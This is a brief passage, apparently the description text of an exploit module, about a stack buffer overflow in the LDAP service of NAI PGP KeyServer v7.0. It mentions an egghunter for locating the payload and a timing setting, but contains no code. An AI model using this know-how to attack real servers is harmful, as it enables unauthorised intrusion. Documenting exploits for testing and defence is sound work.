  					This module exploits a stack buffer overflow in the LDAP service that is
  					part of the NAI PGP Enterprise product suite. This module was tested
  					against PGP KeyServer v7.0. Due to space restrictions, egghunter is
  					used to find our payload - therefore you may wish to adjust WfsDelay.
